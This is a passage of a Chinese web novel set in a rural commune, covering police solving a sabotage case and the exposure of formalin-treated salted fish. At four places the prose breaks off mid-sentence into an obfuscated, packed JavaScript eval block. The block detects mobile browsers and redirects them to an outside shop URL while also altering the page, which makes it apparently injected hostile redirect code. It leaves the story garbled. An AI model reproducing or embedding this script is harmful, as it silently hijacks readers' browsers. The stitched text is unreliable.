只见黑衣人快速地从灌装桶里拿出一根管子和一个抽油泵,伸进油箱。 仅仅几分钟后,灌装桶便装满了。 黑衣人心满意足地将作案工具收起来,把油盖重新放好,便准备往外走。 可能是得手之后太得意忘形,又或许是不知道汽车班安了监控,黑衣人往外走的时候,没有像来之前那样蹑手蹑脚,反而昂着头向外走。 “公安同志,快看!就是这!”李大柱一边尖叫一边按下了暂停键。 视频里黑衣人的面孔清晰可见。 卫红越看这张脸越熟悉。 这黑衣人不就是自己还在公社派出所工作时,亲自送去沙洋劳改农场的刘棒槌嘛! 难道他也从劳改农场逃出来了? 不应该啊,吕吉祥二进宫以后,劳改农场大力改进了监守程序,现在就是一只苍蝇,也绝对飞不出来。 李大柱见卫红和张金泉都不说话,催促道:“公安同志,你们快点去抓人吧!去晚了他逃走了怎么办?” 卫红冲张金泉使了个眼色,将录像带从机子里取出来,转身出了报案室。 “哎!哎!哎!她怎么拿着录像带走了?”李大柱站在门口,目送卫红嘭地一声关上隔壁办公室的门才又回到报案室。 孟子云被李大柱吵得脑仁儿疼,忍不住翻了个白眼:“人家是去给我们查案子了,你少说点话吧。” 张金泉将笔记本翻到空白的一页,和颜悦色地说:“孟同志、李同志,剩下的事就交给我们,你们把联系方式留一个,等抓到了人了第一时间就通知你们。” “好!好!好!”李大柱按捺不住内心的激动,双手紧紧包裹住张金泉的左手,“小同志,就靠你们了!” 孟子云从桌上拿起笔将纺织厂的座机电话留给张金泉,便领着情绪激动的李大柱出了公安局。 报案室终于又变得安静了,隔壁办公室的卫红长舒了一口气,从怀里掏出电话本,三两下翻到劳改农场的电话,拿起座机就拨了过去。 与其在这里推测,不如直接问问劳改农场究竟是怎么回事。 一声长嘟一声短嘟过后,电话接通了。 卫红:“请问是沙洋劳改农场吗?我是阳县公安局的卫红。” “是,卫同志,有什么事吗?”电话那头的人回道。 卫红客气地说:“是这样的,有一个情况我想了解一下,大概快半年前,我们分局下属的渔阳公社派出所送来了一个盗窃犯,叫刘三,他现在还在你们农场改造吗?” “同志,请稍等一下,我查一下记录。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200560|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”电话那头传来一阵窸窸窣窣的纸张翻动声。 “同志,是解放大队的刘三?性别男?年龄四十五?” 卫红点头:“没错!是他!” “公安同志,刘三在改造中表现优秀,已经于半个月前提前释放出来了。” 原来如此,那刘棒槌出现在监控视频里就解释得通了。 “卫同志,还有事吗?”电话那头的工作人员见卫红不说话,小声提醒道。 “没事了,谢谢!”卫红挂断了电话。 “怎么回事?”整理完笔录的张金泉推门进来了,“刚才看录像的时候我就觉得你表情不对劲。” 张金泉同卫红做了几个月同事,早就把她的各种表情研究透了。 “刚才录像里那个小偷,是半年前被我亲自送去改造的刘三!”卫红猛地一拍桌。 张金泉掰着手指数起来:“他不是下个月才放出来嘛?” 派出所经办的案件最后都要汇总到分局,张金泉对卫红办过的案子都了如指掌。 卫红:“刚才我打电话去劳改农场确认过了,他提前放出来了。” “那解放大队的事,多半是他和他妈秦凤仪做的,”张金泉几秒钟就把事情前后联系了起来,脸色一沉,“不好!他们该不会已经跑了吧。” 卫红也觉得不妙:“那我们赶紧去申请逮捕令,再通知临县的分局,把所有出入口都设置上卡点,一定让他俩插翅难飞。” 两人拔腿就往办公室外面走。 “叮铃铃~”座机突然响了。 卫红拿起听筒,里面传来了她同学王卫东爽朗的声音:“怎么回事,往你们局打电话一直在占线?” 卫红:“刚才有事,你长话短说,我们这边急着去抓人呢。” 张金泉见这电话还得打一会儿,便压低声音说自己先去找领导。 “现在又不是你昨天求我那会儿了?”王卫东在电话那头哈哈大笑起来,“我可是有两个喜讯,你把电话抓牢了。” 卫红:“解放大队养殖场的环境取样结果出来了?” ”对,经过市环境部门的同志检测,那黑色的物质是汽油,驴肉火烧和你昨晚送来的白色粉末都检测出了东莨菪碱,就是俗称的蒙汗药,所以我们怀疑,有人故意给宁国华下药,趁他昏睡,向养殖场倾倒汽油,再恶意写匿名信举报。” 市局的办事效率就是快,这才不到24小时,就快接近真相了。 王卫东继续说道:“所以李队现在已经准备释放宁富田了,只是这嫌疑人,还没有头绪。” 卫红赶紧将孟子云和李大柱来报案的事一五一十讲给了王卫东。 “这高科技的东西就是好,小偷都没想到他的脸被拍得一清二楚吧”王卫东感叹道,“那我也赶快去把消息告诉李队,就等着收网吧!” 挂完电话,卫红从抽屉里拿出配枪别在了腰上。 “滴滴滴~”楼外面传来一阵喇叭声。 卫红从窗户上探出身子一看,张金泉正带着几个穿戴整齐的公安骑在摩托车上。 63.第 63 章 半天之后,卫红这边接到隔壁县公安分局的电话,根据他们提供的照片,在两县交界处,抓到了疑似是秦凤仪和刘三的人。 市公安局根据属地管理原则,命令他们将两个嫌疑人移交阳县分局,并把污染案的资料一并送了去。 卫红同张金泉一刻也不敢耽搁,骑着摩托车就去邻县把两个人领了回来,分别关进了两个审讯室。 卫红负责审讯刘棒槌。 “公安同志,我可是好人,干嘛把我抓起来啊?”一进审讯室,刘棒槌就开始哭天喊地。 看来隔壁县公安口风够紧的,刘棒槌到现在都不知道自己是为什么被抓起来了。 “刘三儿,你是什么人我还不清楚?”卫红冷哼一声,“说说吧,前天你上纺织厂干什么了?” 刘棒槌梗着脖子:“公安同志,说话要讲证据,我连纺织厂在哪儿都不知道。” 刘棒槌还真是不到黄河心不死。 卫红啪地一声把录像带扔到桌上:“若要人不知除非己莫为,纺织厂的监控里面可把你偷汽油的过程记录得清清楚楚。” 刘棒槌就是个纸老虎,他刚才那般硬气,完全是建立在没人看见自己行窃的基础之上的。 听到卫红说拍到了自己的作案过程,一下子就泄了气,双手抖得和筛糠似的,把事情交代了个一干二净。 自从刘棒槌被抓进了劳改农场,他妈秦凤仪就想方设法要给解放大队使绊子,连去探监的时候都在骂宁富田。 谁知大队干部们就好像铁板一块,她半点错处都没寻到。 直到一个月前,也就是解放大队开始搞牡蛎养殖的时候,秦凤仪得知儿子要被提前释放,终于想出了一个自以为天衣无缝的毒计。 刘棒槌先去搞到一桶汽油,再由她将蒙汗药下在食物里,想办法喂给当值的大队干部。 想来想去,其他大队干部都不可能收下自己做的食物,只有宁国华的老婆,自己的堂姐,那里有机可乘。, 趁宁国华熟睡之时,刘棒槌将黑乎乎的汽油倾倒在养殖场里。 为了万无一失,秦凤仪还给自己下了药,装成胃痛,赖着宁海和文昕去了卫生院,做自己不在场证明的证人。 刘棒槌连夜将事先做好的匿名信送到市公安局,为了防止被认出笔迹,秦凤仪还想出了从书里面撕字贴信的方法。 可惜她家里也没有别的书,只有用来装神弄鬼的《三命通会》。 卫红一边记录一边暗笑,这两人以为自己的计划完美无缺,实际上漏洞百出。 事情的发展果然如秦凤仪所料,市公安局真的把宁富田带走了。 刘棒槌是个胆小的,怕有一天东窗事发,说什么也不敢再回解放大队。 秦凤仪思来想去,把心一横,干脆两人逃去隔壁省,等过几年风头过了再回来。 两人收拾了包裹,连夜就跑了。 谁知才逃到邻县,就被公安的天罗地网抓住了。 “行了,签字吧。”卫红将密密麻麻的笔录放到刘棒槌眼前,咔哒一声打开他的手铐,指着笔录的末尾空白处说,“写清楚时间和姓名。” 刘棒槌交代了这么久,嘴唇也干裂了,双手颤抖着签下了自己的大名。 “公安同志,这些事可都是我妈指使的,她才是主犯。”刘棒槌补充道。 卫红拿着笔录走出审讯室,张金泉也刚好从隔壁出来。 卫红:“秦凤仪交代了吗?” 张金泉尴尬地摇摇头:“她一口咬定蒙汗药是不小心沾到了火烧里,坚持说自己是清白的。” “她倒是骨头硬,”卫红举起手里的笔录讥笑道,“可惜她儿子是个软骨头,什么都说了,走,跟我进去。” 卫红推门进去,秦凤仪正气定神闲在看自己的手指。 秦凤仪:“公安同志,你们准备什么时候把我放了啊?” “你儿子刘棒槌可什么都交代了,他一口咬定你是主犯,”卫红两手抓着笔录,伸到秦凤仪眼前,“你认识字吧,不用我给你读吧。” “这个窝囊废,一点小事都扛不住,要不是为了给他出气,我都是半截身子入土的人了,何必搭上自己后半辈子,”秦凤仪脸色唰地变得苍白,吐了一口唾沫,闭上眼说,“公安同志,我说,我都说。” 秦凤仪一五一十地将事情交代了,同刘棒槌说的没有太大出入。 两人因此被控盗窃罪等三项罪名,再一次关进了劳改农场,这一回,可不是半年就能出来了,当然,这是后话。 另一头,接到通知的渔阳派出所第一时间就把解放大队养殖场的警戒线撤出了。 从市公安局出来的宁富田,回家的第一件事,就是组织人手上养殖场清理汽油。 幸好事发当天环境部门就在海塘外安装上了围油栏,汽油并没有扩散出去,现在只需要将被污染的花岗岩从养殖场里搬出来即可。 宁富田站在岸上,看着众人齐心协力往外搬被污染的牡蛎苗,心揪成了一坨。 这哪里是扔牡蛎苗啊,这简直是在他心上挖肉,索性背过身,眼不见为净。 “支书,这水里还飘着些汽油呢。”郑小英从背后拍拍宁富田。 宁富田正难受,语气就有些不耐烦:“这还用我教你?让大家打捞了不就行。” “嘿,你和我急什么,”郑小英撸起袖子,直接把宁富田上半身掰转过来,“你自己看清楚,怎么没捞,这不还有些实在捞不起来了嘛。” 宁富田一看,果然如她所说,原本在水面上零星漂浮着的点滴汽油,随着时间的推移,竟形成了一层薄如蝉翼的油膜。 这可不好办,宁富田犯了难。 来看热闹的村民也都围拢了过来,你一言我一语地出起了主意。 “要不点把火把汽油烧了?” 宁富田没好气地说:“这又不是陆地,就我们那几根火柴能点的燃?” “要不上供销社买点洗衣粉?我可在广播里听说了,这衣服上沾了油渍都可以用洗衣粉去除,这汽油带个油字,肯定也行!” 听见这话,周围的村民都觉得有几分道理,纷纷点头赞同。 收到好消息的徐夏刚和宁文走到队部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211051|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面,就听见了这番对话,一边往人堆里挤一边大声说:“不能加洗衣粉!” 宁富田:“为啥?你倒是说说。” 徐夏:“这洗衣粉确实能分解油污,但是加少了没用,加多了可能会杀死水里的微生物,甚至直接毒死牡蛎,而且化学品沉积在水里,更不利于牡蛎的生长。” 宁富田点点头:“有点道理,那你说说应该怎么办。” 徐夏:“这还不简单,拿回收泵把这些汽油连带着海水一起抽出来不就行了。” 宁富田:“这确实是个好办法,收购站就有回收泵,只是眼下我抽不出空,其他人孙站长也不认识,恐怕他不会轻易松口吧。” 宁文:“让徐夏去呗,咱们这还能有人不认识她啊!” 这话倒是没错,之前公社开大会,赵向前特地让人把徐夏的信印出来,让干部们好好学习。 现在整个公社上到书记,下到门卫,就没有不认识徐夏的,可能她说话比宁富田还好使。 宁富田一口答应:“行,那你俩速去速回。” 徐夏同宁文赶忙回家骑上自行车就去了收购站。 幸好孙站长刚从乡里收完干货回来,不然两人又要扑个空了。 听两人说完来意后,孙站长不仅让人从仓库里取出了回收泵,还怕她们搬不回去,要亲自开车送去解放大队。 “小王,小李,快把这些咸鱼都搬进仓库,”孙站长站在小货车旁边,笑得眼睛眉毛都挤成了一团,“你们瞧,我们这次从新云大队收上来的咸鱼质量可好了,不但不长虫子,连苍蝇都没有。” 听见这话,徐夏和宁文也凑上前看了起来。 只见货车斗里整整齐齐码着八个大筐,筐里垒着不计其数的咸鱼干。 奇怪的是,咸鱼通常都会略深于鱼本身的颜色,这筐里的咸鱼却白的出奇,鱼体也齐齐整整,没有丝毫的损毁。 徐夏:“孙站长,我能拿一条出来看看吗?” 孙站长此时心情极好,打手一挥:“没问题,你随便拿。” 徐夏小心翼翼爬上货车斗,在筐里挑选了一阵,拿出一条体型小的,两手轻轻一掰,这咸鱼竟然韧性十足,没有半点裂纹。 她只好加重了手上的力气,用力一扯,这次咸鱼终于裂成了两半。 徐夏皱起眉:“孙站长,这鱼有问题。” 原本还笑嘻嘻地孙站长,听见这话,脸唰地黑了下来:“有什么问题?我看你才有问题。” 徐夏拿起手里的咸鱼缓缓解释:“通常我们晒的咸鱼,无论处理过程怎么小心,不是掉头就是破肚,甚至会爆肉。” “但是您这次收上来的咸鱼,鱼体完整不爆裂,肉和骨还不能彻底分离。” 孙站长:“这也不能说明什么,万一就是人家手巧呢。” “不光是这一点,咸鱼通常颜色偏深,闻起来也是一股子鱼腥味,”徐夏将咸鱼伸到孙站长鼻子下,“但是你闻,这鱼不光颜色偏白,闻起来还有股子异味。” 孙站长猛吸了一口气,在鱼腥味之下,果然闻到了一股刺鼻气味。 64.第 64 章 徐夏:“恐怕,他们制作咸鱼的过程中,使用了福尔马林。” “他们怎么敢!”孙站长脸色凝重,暗道不妙。 新云大队的支书一向会做人,过去不管是来交粮还是交别的干货,总要客客气气的给孙站长递上几根烟,漂亮话和不要钱似的,一套一套的往外冒。 谁不爱被恭维啊?孙站长很是吃这一套。 偶尔他们交的粮质量略微差点,孙站长也睁一只眼闭一只眼。 故而这次他们送咸鱼来,孙站长草草看过一眼,就点头过磅了。 没想到,这就着了道了。 这收上来的咸鱼不光要在渔阳供销社卖,还要送去城里,到时候吃出问题,他这个站长,第一个脱不了干系。 这可是涉及群众食品健康的大事,不光要脱了这身官皮,恐怕还要去蹲监狱。 孙站长越想越后怕,额头竟渗出密密麻麻的汗珠来。 他原本左手扶着竹筐,不知不觉中手上的力气就加重了几分,竟被倒刺交织的筐扎出了血。 “孙站长,小心你的手!”宁文捂着嘴叫出了声。 孙站长这才回过神,慌里慌张从上衣口袋里掏出一张草纸,把掌心的血珠一抹,高声叫了起来:“小王、小李,别搬了,快过来。” “站长,咋了?”两个年轻的工作人员放下手里的竹筐,急匆匆跑过来,手不停地擦拭脸上的汗珠,满脸疑惑。 孙站长咬牙切齿地说:“新云大队这帮黑心肠的,竟然拿药水泡的咸鱼蒙我,你们可得给我作证,我没收他们一分钱!” “站长,不如咱们报警吧!把这帮子坏心眼的都抓起来。”小王和小李对视一眼。 纸里包不住火,孙站长见事情已经到了这个地步,与其替新云大队遮遮掩掩,不如直接把事情捅破。 反正这时候报警,大不了自己落个工作失察的处分,总好过东窗事发后,一把铁窗泪的好。 孙站长拔腿便往办公室里走,拿起听筒就按了出去。 徐夏见收购站这边乱作一团,恐怕也分不出身来给他们搬回收泵,再等下去说不定孙站长心情不好连泵都不给借了,便扬声说:“孙站长,那我们就不打扰了,泵用完就给您送回来。” 孙站长闻言探出头,皱着眉冲两人摇手:“等等!我现在没心思和你们掰扯,等我打完电话再说。” 得,就孙站长着不耐烦的语气,看来这借回收泵是悬了。 徐夏和宁文只好老老实实在屋外等了起来。 “都怪我多管闲事,”徐夏凑到宁文耳朵边,压低声音说,“要是不多那么一句嘴就好了,现在早就回队里了。” 宁文拍拍徐夏的肩膀,语重心长地说:“这怎么是多管闲事,你要是不说出来,这咸鱼流向大家的餐桌,到时候该有多少人受害?我看呐,这孙站长该烧高香把你供起来。” 孙站长在办公室里点头哈腰打了两个电话,才走了出来,大声说:“小王、小李,你俩把那回收泵搬上车,马上送去解放大队给宁富田。” “谢谢孙站长!”徐夏和宁文见面带喜色,骑上自行车就要走。 哪知孙站长出言阻止道:“哎!他俩去就行了,你俩别走,进来!” 这孙站长葫芦里卖的是什么药? 徐夏和宁文带着满腹疑虑进了孙站长的办公室。 “坐!别客气!”孙站长指着办公桌前的木椅和蔼地让两人坐下,从瓶里倒出两杯凉白开塞到两人手里。 这还是徐夏和宁文第一次见到他态度如此好,这还是平时颐指气使、眼高于顶的孙站吗? “我把基本情况同领导和公安同志都交代了,”孙站长清了清嗓子“让我们先摸清楚新云大队腌咸鱼的具体位置,他们在村口同我们汇合,争取能抓个正着。” “我想了想,整个收购站的人,都在新云大队露过脸,贸然出去恐怕会打草惊蛇,倒是你们俩面生,他们认不出来,不知道你们两个小同志愿不愿意去冒这个险,替我们跑一趟?” 得,这下彻底把两人扯进这咸鱼案了。 不答应吧,一来是良心过不去,二来孙站长难免会有想法,弄不好以后故意刁难解放大队呢。 答应吧,新云大队恐怕上上下下沆瀣一气,两人这一去多少有点危险。 徐夏只觉得骑虎难下,还在考虑怎么办,宁文拍着胸脯,一口答应了下来:“这有啥不愿意的,包在我们身上。” 孙站长乐得眉开眼笑,让两人坐在小卡车斗里,他亲自开车去新云大队。 开到离新云大队大约500米,孙站长将车停在一片密集的芦苇党里,确认卡车被遮挡得严严实实,从外面看不出任何异常,才让两人下了车。 “呐,这个拿上,”孙站长从包里取出一只手表递给徐夏,“如果半个小时你们还没出来,我和公安同志就进去找你们。” 宁文瞅了一眼,嚯,还是支7120全钢防震表,这孙站长倒还有点良心。 徐夏和宁文手牵手,朝新云大队走去。 只见村口大榕树下的小马扎上坐着一个老奶奶,双手不停地上下飞舞,正在专心致志地纳鞋底。 宁文眨眨眼:“一会儿你别说话,就看我表演吧。” 说完,她拉着徐夏,匆匆跑上前,脆生生地问:“奶奶,你知道咱们队加工坊在哪儿吗?我大姨说让去那儿找她。” 老人抬起头,把徐夏和宁文上上下下打量了两回,才缓缓开口:“你俩看着眼生呢,不是我们队的小曼儿吧?” 这老太太警惕性还挺高。 “不是!我俩来走亲戚的,我姨嫁到了你们队,”宁文脸不红心不跳,一张嘴那瞎话是随口就来,“我姨说你们队腌咸鱼有一套,让我来学呢。” 老人原本手上的活儿一点没停,听见腌咸鱼三个字,放下手里的鞋垫,瞪着两人,语气戒备地问:“你姨嫁给队里哪家人了?姓什么?” 徐夏只觉得背上凉飕飕地,这老太太该不会是新云大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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砖瓦房里似乎聚集了很多人,伸长耳朵还能听到有人在说“多放点”“发了发了” 屋外的窝棚里乌七八糟的地上随意扔着草席和化肥袋,上面垒着带鱼、马鲛等鱼类,一群村民进进出出,将它们搬进房里。 旁边的垃圾堆里正正好就放着几个印有“福尔马林”的塑料袋。 徐夏:“走,我们快回去通知孙站长。” 宁文点点头,为了保险起见,两人一路上都弯着腰,蹑手蹑脚地往外走,活像两个小偷。 一直快到村口,才重新站直了。 村口的老太太仍然在树下纳着鞋垫,两人对视一眼,踮着脚从她身后绕了过去,半点声音都没发出来。 出了新云大队,两人健步如飞,跑到了芦苇丛里。 渔阳派出所的公安此时也骑着摩托车来同孙站长汇合了。 65.第 65 章 卫红骑着摩托车,身后跟着一辆卡车驶进了芦苇丛。 同收购站的小货车并排停放好后,几个公安从卡车里跳了下来。 孙站长原本在货车驾驶室里闭目养神,猛然听见车窗外面的动静,赶紧直起身,揉了揉眼睛。 见是卫红带着一班公安来了,连忙打开车门跳下去,从怀里摸出一包友谊牌香烟递上前。 卫红手捂着鼻子,避开了孙站长的烟,板着脸问:“孙站,徐夏和宁文进去多久了?” 见张金泉几人也跟着摆手拒绝,孙站长只好将烟盒重新塞回上衣口袋,撸起左边袖子露出腕上的手表,伸出手指点着表盘说:“快半个小时了吧。” 卫红听见徐夏和宁文两人进入新云大队已经过去了二十几分钟,只觉得屁股下面的车座烫得她难受,长腿一跨就下了地,抄着手陷入了沉思。 张金泉也急得坐立难安,绕着卫红走来走去:“卫姐,是继续等还是冲进去?你拿个话。” “不能冲进去啊!这不就打草惊蛇了!”孙站长刚把一只烟塞到嘴里,正准备拿火柴点燃,听见张金泉这话,赶紧把两只手伸到卫红眼前,摇得和拨浪鼓似的。 卫红皱着眉咳嗽了两声:“孙站,您最好还是忍一忍,一会儿吞云吐雾起来,被新云大队的人瞧见起了疑可就不好了。” 孙站长讪讪地将烟抽出来,小心翼翼地收好。 “卫姐,再拖下去徐夏和宁文要是出事了怎么办。”张金泉声音急促,拔出枪就要往新云大队走。 “不行,我不同意。”孙站长半步都不肯退让,撑开双臂挡在了张金泉面前。 就在几人僵持不下的时候,芦苇从里传来了两个熟悉的声音:“孙站长,卫姐,我们回来了!” 卫红回头一看,松了口气,悬着的心终于放了下来,是徐夏和宁文两人猫着腰摸了进来。 徐夏和宁文赶紧将刚才在新云大队里的见闻细细讲了出来。 孙站长哼了一声:“这帮兔崽子,敢这样蒙蔽我。” “孙站,你还是小点声!”卫红出言阻止道。 张站长撇撇嘴,压低声音:“卫公安,这会儿咱们可以进去了吧?” 张金泉忍不住翻了个白眼,刚才是谁拦着不让进的,这会儿倒是急了。 卫红招招手,几个公安便围拢上来,几人一番嘀咕分好工,手里握着枪向新云大队包抄过去。 徐夏和宁文则同孙站长一道,留在芦苇丛里。 约莫过去了十几分钟,只见卫红打头,领着一串人从新云大队走了出来。 徐夏定睛一看,有几个脸熟的正是刚才同宁文在砖瓦房里见过的。 新云大队里出来的人双臂都反折在身后,无一不垂头丧气地戴着手铐,一个接着一个被公安押上了卡车。 待众人坐定后,卫红朝徐夏三人打了个手势,便骑着摩托这,领着身后的一车嫌疑人朝县里驶去。 孙站长连忙招呼徐夏和宁文上车,轰隆隆发动小货车,跟着卫红她们开到了县公安局。 进了审讯室,新云大队的支书洪高峰还在嘴硬:“公安同志,你们这是做什么,我们都是本本分分的庄户人家啊。” 卫红目光锐利,冷哼一声,将从窝棚旁垃圾堆里捡起来的福尔马林塑料袋扔到洪高峰面前:“那就请洪支书给我们解释一下,你们作坊外面为什么有福尔马林的袋子吧。” “福尔马林是什么?”洪高峰眼神闪烁,满嘴讨饶,“冤枉啊公安同志,我大字不都不识一个,这兴许是谁随手扔在那里的吧。” “哦?”卫红左边眉毛一扬,笑着问,“那怎么收购站说你们送去的咸鱼有福尔马林呢?” 洪高峰斩钉截铁地说:“不可能!肯定是有心之人冤枉我们,看我们的咸鱼品相好,故意陷害的!” 卫红见他油盐不进,转身出了审讯室,推门进入了隔壁的观察间,徐夏三人此时正等在里面,孙站长气得脸红脖子粗,抱着膀子在里面走来走去。 卫红叹了一口气:“洪高峰咬死了不承认他们制咸鱼的时候加了福尔马林。” “卫公安,你可得好好查,查清楚,这可关系到我的身家性命了,”孙站长急得额头上直冒冷汗。 “我们只在新云大队搜到了这空袋子,确实没能在新云大队搜到没用完的福尔马林溶液,”卫红提起来塑料袋,眼珠子一转,“但是如果你能说出他们是怎么制鱼的,或许能击溃洪高峰的心理防线。” “我要是知道也不会上当了,”孙站长这下更急了,看着在一旁沉默不语的徐宁二人就吼,“你俩别干坐着啊,也快想想办法啊!” 宁文:“孙站长你别催,她正在给你想招呢。” 徐夏:“卫姐,你们在砖瓦房里面还看到了什么东西?” 卫红:“里面有水池和一个很大的灶台,墙角还堆了洗衣粉。” “这就对了,”徐夏点点头,从筐里拿出一只咸鱼缓缓解释道,“他们应该是在水池里加了甲醛,也就是福尔马林溶液,然后将鲜鱼浸泡后进行蒸煮,用甲醛浸泡的鱼不仅耐高温,而且不掉头、不掉尾、不易发馊。 “在出锅前,将洗衣粉在水里搅匀,均匀喷洒在鱼体表面,这样表面看起来,咸鱼不仅白而且透亮。” 卫红点点头,转身进了审讯室,一字不落的将徐夏的话复述了一遍。 只见洪高峰的脸越听越白,卫红的话如同细流一点点侵蚀了他心中的巨石,出现了一道道裂痕,最后完全崩塌。 “公安同志,我说,我都交代。”洪高峰趴在审讯桌上泣不成声,一五一十交代了作案过程。 原来这办法是他去邻省串亲戚的时候偶然学到的,亲戚家所在的大队靠着这个方法赚得盆满钵满,家里的日子竟然过得比那城里人还好。 洪高峰动了心,回来后他就上黑市买了几口袋福尔马林,半哄半骗着队里的人干了起来。 也有几个识字的村民问他袋子上写的“福尔马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233157|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林”是什么,洪高峰便扯谎说是公社给发的一种新的防虫药,泡了之后不仅不长虫子,连苍蝇也不会落在上面。 这还没完,洪高峰还诓骗这村民往蒸过的鱼上面撒洗衣粉,推说是这样能把脏东西洗掉,露出鱼原本的颜色。 村民见支书都这样说了,即使心里有几分怀疑,也压了下去。 洪高峰最担心的其实是收购站的孙站长会看出端倪,哪知道多说了几句恭维的话,孙站长就大大咧咧收下了咸鱼,还多给了一成的收购钱。 尝到了甜头的洪高峰回到队里就把全队的劳力都召集到了砖瓦房里开干。 洪高峰看着灶台上冉冉升起的白烟,别提有多开心了。 正干得热火朝天呢,哪知道半路杀出个程咬金,被上收购站借东西的徐夏看出了端倪,还不怕事地捅了出来。 孙站长是越听越后怕,万一徐夏没说出来,或者她压根就没来收购站,洪高峰的诡计就得逞了,不知道有多少家庭会吃上这毒咸鱼,那自己可就真成了千古罪人了。 孙站长一边这样想着一边看向徐夏,眼神慢慢地就带上了几分欣赏。 这哪里是徐夏啊,这分明就是庇护他孙站长的福星啊。 站在徐夏的角度,只觉得孙站长神情古怪,她打了个寒颤说:“洪高峰说他是在隔壁省学到的用福尔马林作为海产品的保鲜防腐剂,说明这种加工方法已经在沿海地区蔓延了,一定要赶快制止他们,孙站长,你能给上面的领导汇报一下这件事吗?” “邻省可不关我的事儿,我哪里管得到这么宽?”孙站长耸耸脖子,他只关心自己辖区内群众的生命健康,至于邻省嘛,他自然是‘事不关己高高挂起’。 徐夏立刻被孙站长这种态度气了个倒仰。 “洪高峰已经将他亲戚的地址交代了,”刚做完笔录的卫红推门进来,“张金泉已经给省里去电了,相信很快就要有结果了,今天的事就辛苦你们了。” 徐夏见这事总算有人继续管下去,终于松了一口气。 “不辛苦!”孙站长一路上见分局的几个公安行动间隐隐以卫红为首,谄媚地笑起来,“你们公安同志最辛苦。” 这讨好的语气直把屋里另外三个人恶心地打了个冷战。 卫红一直把三人送到了分局大门外才回去。 没想到宁富田竟然等在门外,见三人出来,忙迎了上去。 徐夏和宁文刚想同他解释,哪只宁富田一副完事尽在掌握的表情说:“哎,不用说,我全知道了,不然我怎么直接来分局接你们。” 收购站去解放大队送回收泵的工作人员只说孙站长带着宁文和徐夏去办事了,谁知天下没有不透风的墙,新云大队毒窝点被捣毁的事,被好事的村民传了出来,很快就飘到了宁富田的耳里。 见宁海和文昕正忙着,他赶紧跑来分局看看情况。 “你来的正好,我就不用她俩再传话了,”孙站长插嘴道,“有个正事同你商量商量。” 66.第 66 章 “孙站,啥事啊?”宁富田向来不是很喜欢孙站长的为人处世,平时遇到他都是能躲则躲,但这回刚同人家借了回收泵,于情于理装听不见都不合适,只好客客气气地答话。 孙站长面带笑容,拍拍宁富田的肩膀:“老宁啊,你也知道,眼下虽然新云大队干了这起子缺德事被抓了,但是重赏之下必有勇夫,难保其他大队不会有样学样。” “我思来想去,咱们公社这么多个大队,就你们最老实,以后这加工干货的事,就你们干吧。” 宁富田一听这话,乐得眉开眼笑,往收购站交干货,这可是个肥差,不仅能把收购站挑剩下的小鱼小虾做成干货,而且一斤干货的收购价足足是鲜货的4-5倍。 可惜这等好事从来落不到解放大队头上。 过去新云大队把孙站长巴结得到位,收购站一向都把加工干货的任务交给他们。 可惜人心不足蛇吞象,新云大队昧着良心干蠢事,搬起石头砸了自己的脚。 本来乍一听说这事是徐夏和宁文折腾出来的,宁富田还有些嫌她们多管闲事,得罪人。 没想到多亏她俩这一折腾,反而把“肥肉”叼回了自己家。 宁富田不禁为自己那点私心而感到脸红。 “不过丑话我得说在前头,”孙站长见宁富田乐得嘴巴都合不上,正色道,“这干货你宁大队长可得把好质量关,品相得好,盐也不能过多。” 过去解放大队每家每户也会将收购站挑剩下的小鱼小虾腌制成咸鱼和咸虾,自己在家就着粥吃。 又不用拿出去卖,故而品相、味道都不大好,为了能长久的保鲜,大多都做得特别咸,大不了多喝几口水呗,水能值几个钱? 要不是食盐还得用钱买,村民恨不得把咸鱼天天埋在盐堆里。 宁富田:“孙站,要不您受累跑一趟,给我们队的人说个标准呗。” 孙站长双手一摊:“我又没上手干过,你自己回家琢磨去吧,不过关的干货我可不收。” 啊? 宁富田笑容僵在脸上,眼睁睁看着孙站长上了他那辆小货车扬长而去。 “支书大爷,不如咱们先上县里副食店买条咸鱼,那里卖的可都是各个公社的收购站送来的,然后咱们再回去动手研究。”徐夏和宁文在一旁将两人的对话听得清清楚楚。 宁富田想到又要花钱,忍痛点头:“只有这个办法了。” 